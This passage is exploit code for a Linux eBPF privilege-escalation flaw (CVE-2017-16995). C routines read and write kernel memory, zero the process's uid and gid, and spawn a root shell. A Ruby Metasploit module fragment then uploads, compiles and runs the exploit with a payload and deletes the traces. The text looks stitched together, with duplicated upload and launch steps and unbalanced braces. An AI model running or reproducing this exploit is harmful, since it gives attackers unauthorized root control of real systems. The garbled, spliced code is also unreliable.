union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}
}
exploit_name = ".#{rand_text_alphanumeric 8..12}"
exploit_path = "#{base_dir}/#{exploit_name}"
# exploit name must be 7 characters to allow string replacement
# in the pre-compiled binary
payload_name = ".#{rand_text_alphanumeric 7}"
payload_path = "#{base_dir}/#{payload_name}"
if compile
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
c_code.gsub!(%r{/bin/bash}, payload_path)
upload "#{exploit_path}.c", c_code
output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
end
cmd_exec "chmod +x #{exploit_path}"
upload_and_compile executable_path, exploit_data('exploit.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out'
fd = ::File.open compiled_path, 'rb'
exploit_data = fd.read fd.stat.size
fd.close
exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path)
upload_and_chmodx exploit_path, exploit_data
upload_and_chmodx executable_path, exploit_data('exploit.out')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
print_status 'Launching exploit...'
output = cmd_exec exploit_path
# Launch exploit
print_status 'Launching exploit ...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path} ..."
rm_f executable_path
rm_f payload_path
end
end